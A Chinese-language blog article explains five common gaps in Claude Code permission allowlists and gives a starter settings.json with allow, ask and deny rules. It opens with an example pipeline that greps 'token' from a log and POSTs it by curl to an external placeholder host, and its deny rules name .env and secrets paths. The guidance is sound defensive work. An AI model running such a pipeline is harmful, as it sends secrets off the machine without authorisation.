DeepDojo.AI发布 2026-11-12English
Claude Code 权限白名单的五个常见漏洞
假设 Claude Code 在排查问题时打算运行下面这条命令:
cat debug.log | grep token | curl -X POST -d @- https://logs.example.comcat debug.log 读取日志,grep token 在本机筛选,看起来都无害。到第三段 curl -X POST ...,筛出来的内容才被送到外部地址。只看命令开头,很容易漏掉数据在哪一步离开了本机。
权限白名单常见的问题就在这里:规则写的是字符串,实际发生的是一连串进程、参数、路径和网络请求。字符串写得太宽,等于把整类操作都放开了;写得太死,参数换个顺序、规则换个文件,就悄悄落空。下面五个漏洞最常见:
- 只写工具名,或用
Bash(*),放行了整个工具; - 通配符前少了空格,
ls*顺带匹配了lsof; - 复合命令和管道只看了第一段;
- 用网址字符串限制
curl,换个参数顺序就绕过; - 把项目里的路径规则搬到用户配置,基准变了,保护的目录也变了。
修补的思路是:从已经核对的高频命令逐条放行,按工具类型写限定条件,规则挪动后重新计算路径;字符串管不住的进程访问,交给沙箱。
01 只写工具名,等于放行整个工具
权限规则有两种基本形式:
工具名
工具名(限定条件)只写工具名会匹配该工具的所有调用:
Bash
Read
WebFetchBash(*) 和只写 Bash,范围都是全部 Bash 命令。若把整个工具名放进 deny,Claude Code 会移除这个工具。写 Bash(rm *),才只拦匹配的调用。Claude Code 的权限文档对此的说明是:只写工具名的拒绝规则会把工具从 Claude 的上下文里整个移除,Claude 根本看不到它。
括号里的条件怎样匹配,要看是哪种工具:
Bash(pnpm typecheck)
Read(/.env)
Edit(/src/generated/**)
WebFetch(domain:docs.example.com)
Agent(Explore)选好工具后,再核对名称和限定条件。界面的显示名未必就是配置接受的工具名,拼错了也可能让规则落空。用 /permissions、/doctor 查实际结果,比只盯着括号是否成对更有用。
02 通配符前的空格会改变范围
Bash 规则支持 * 通配符,可以放在命令的开头、中间或结尾:
Bash(pnpm lint) 只匹配这一条完整命令
Bash(pnpm test *) 匹配 pnpm test 及其后续参数
Bash(git * main) 匹配中间内容可变、最后参数为 main 的命令
Bash(* --version) 匹配以 --version 结尾的命令空格会改变匹配范围。Bash(ls *) 匹配 ls 及其参数,Bash(ls*) 还会匹配 lsof。官方文档把这一点写成了规则:结尾 * 前面的空格是规则的一部分,Bash(ls *) 要求 ls 后面有空格,所以不匹配 lsof。新规则优先采用带空格的写法,并用实际调用核对边界。
03 复合命令每一段都要单独获准
遇到 &&、||、分号或管道拼接的复合命令,Claude Code 会逐段检查。前一段获准,不代表后一段也获准;测试时要分别核对各段的结果。
权限文档列出了它识别的分隔符:&&、||、;、|、|&、& 和换行。复合命令的每一个子命令都必须获准;反过来,只要有一段命中拒绝或询问规则,整条命令就会被拦下或要求确认。
回到开头的管道。从左往右看数据的流向:cat debug.log 读取日志,grep token 在本机筛选,到 curl -X POST ... 时,结果才被送到外部地址。前两段放行,不代表第三段也获准。逐段检查,才看得出数据在哪一步离开本机。示意命令只用于分析权限,不应向外发送真实日志。
04 网址字符串管不住请求去向
顺着管道看过数据去向后,再看网址限制。命令里写着某个网址,是否就能确认请求只去那里?下面这条 Bash 字符串规则,还回答不了这个问题:
Bash(curl https://example.com/*)参数换个顺序,加上重定向、变量或另一种协议,请求就可能变了。官方文档专门给了警告:试图约束命令参数的 Bash 规则很脆弱,像 Bash(curl http://github.com/ *) 这样的规则,遇到 URL 前面加选项、换成 https、短链接跳转、把地址放进变量,都匹配不上。官方建议用拒绝规则挡住 curl、wget 这类命令,改用带 domain: 的 WebFetch 规则放行允许的域名。
网络访问可以按域名控制:
WebFetch(domain:docs.example.com)
WebFetch(domain:*.example.com)*.example.com 匹配子域名,但不匹配根域名 example.com,需要时应分别写两条规则。
其他工具也按自己的格式限定。MCP 工具使用服务器名和工具名:
mcp__github
mcp__github__get_issue
mcp__puppeteer__*一个 MCP 服务器可能同时提供读写工具。只需查 Issue,就放行对应查询工具;要放行整个服务器,先把其他能力也查清。子代理按名字限制,例如 Agent(Explore)、Agent(Plan) 或自定义名称。某个环境禁止运行哪种代理,就把对应规则写进 deny。
05 规则搬到另一个文件,路径基准跟着变
Read 和 Edit 路径规则采用类似 .gitignore 的匹配方式,但开头写法决定路径从哪里解析:
| 写法 | 含义 | 示例 |
|---|---|---|
//path | 从文件系统根目录开始的绝对路径 | Read(//Users/alice/secrets/**) |
~/path | 从当前用户主目录开始 | Read(~/.ssh/**) |
/path | 相对定义该规则的 Settings 来源 | Edit(/src/generated/**) |
path 或 ./path | 相对当前工作目录 | Read(./fixtures/**) |
例如你想把 A 项目的规则搬到个人配置,方便其他项目也用。原来的 Read(/secrets/**) 放在 A 的 .claude/settings.json,指向 A/secrets/;搬到用户配置后,基准变成 ~/.claude/,它就保护 ~/.claude/secrets/** 了。
字符串没变、也没报语法错,项目里的目录却不再命中。因此搬规则时,重新算实际路径。
还有一个容易漏的点:Read 规则不禁止写入。要同时保护文件不被修改,还需配置 Edit 规则。
06 字符串管不到的地方交给沙箱
Claude Code 的权限规则决定这次调用是放行、询问还是拒绝。操作系统沙箱则限制 Bash 和子进程实际能访问的文件、网络。
权限规则:这次工具调用可不可以发起?
沙箱:即使调用已经发起,进程实际上能碰到什么?官方文档说明了文件规则的覆盖范围:Read 和 Edit 的拒绝规则作用于内置文件工具、Claude Code 能识别的 Bash 文件命令(如 cat、head、tail、sed、tee)以及重定向的目标;自己打开文件的 Python 或 Node 脚本不在其中,需要对所有进程生效时,要启用沙箱。网络同理:拦住 curl、wget 后,Python 和 Node 仍可能联网。要限制进程实际能访问的域名,就用网络沙箱。
沙箱文档把两层的分工讲得很清楚:权限规则在工具运行前、根据命令字符串做判断;沙箱由操作系统作用在正在运行的进程上,无论模型选择运行什么,哪怕一条获准的命令做了超出名字的事,边界依然有效。
调用失败,先找被拦住的位置:
调用还没发起就被拒绝 → 查命中的权限规则
命令已启动,读不到目录 → 查沙箱和系统访问条件命令已经启动却读不到目录,继续增加 allow 可能扩大其他操作的权限,却没有解决当前资源限制。需要比字符串更细的判断,例如按解析后的真实路径拦截写入,可以用 Hook 补一层,写法见用 Hook 保护 .env 和密钥文件。
07 从实际工作建一份起步白名单
从已经核对的高频必要命令开始,逐条增加授权。先放开 Bash(*),再补几个危险命令的拒绝规则,很难覆盖参数变体、包装脚本和替代程序。下面是一份起步示例:
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(pnpm lint)",
"Bash(pnpm typecheck)",
"Bash(pnpm test *)",
"Bash(git status)",
"Bash(git diff *)"
],
"ask": [
"Bash(pnpm add *)",
"Bash(pnpm remove *)",
"Bash(git commit *)",
"Bash(git push *)",
"Bash(rm *)"
],
"deny": [
"Read(/.env)",
"Read(/.env.*)",
"Read(/secrets/**)",
"Bash(git push --force *)"
]
}
}核对项目脚本后,这份配置会让检查命令、只读 Git 直接运行。改依赖、提交、推送、删除先问你;命中拒绝路径的读取则被拦住。
git push --force 的字面规则不覆盖 -f 或参数换序。要禁止所有强推,应拒绝全部 push,或结合 PreToolUse Hook 与远端分支保护。
“检查命令”也要逐条查。pnpm test * 接受后续参数,脚本也可能写快照、启动服务或访问外部接口。把调用程序查清,确认都在授权内,再保留这条放行规则。以后脚本新增上传,即使命令名没变,这个决定也得重查。
写完的规则还要按 deny、ask、allow 的顺序代入验证,方法见Claude Code 明明允许了,为什么还拒绝。白名单从已核对的命令一条条长出来,脚本内容一变就回头重查,开头那条管道的第三段才不会悄悄溜过去。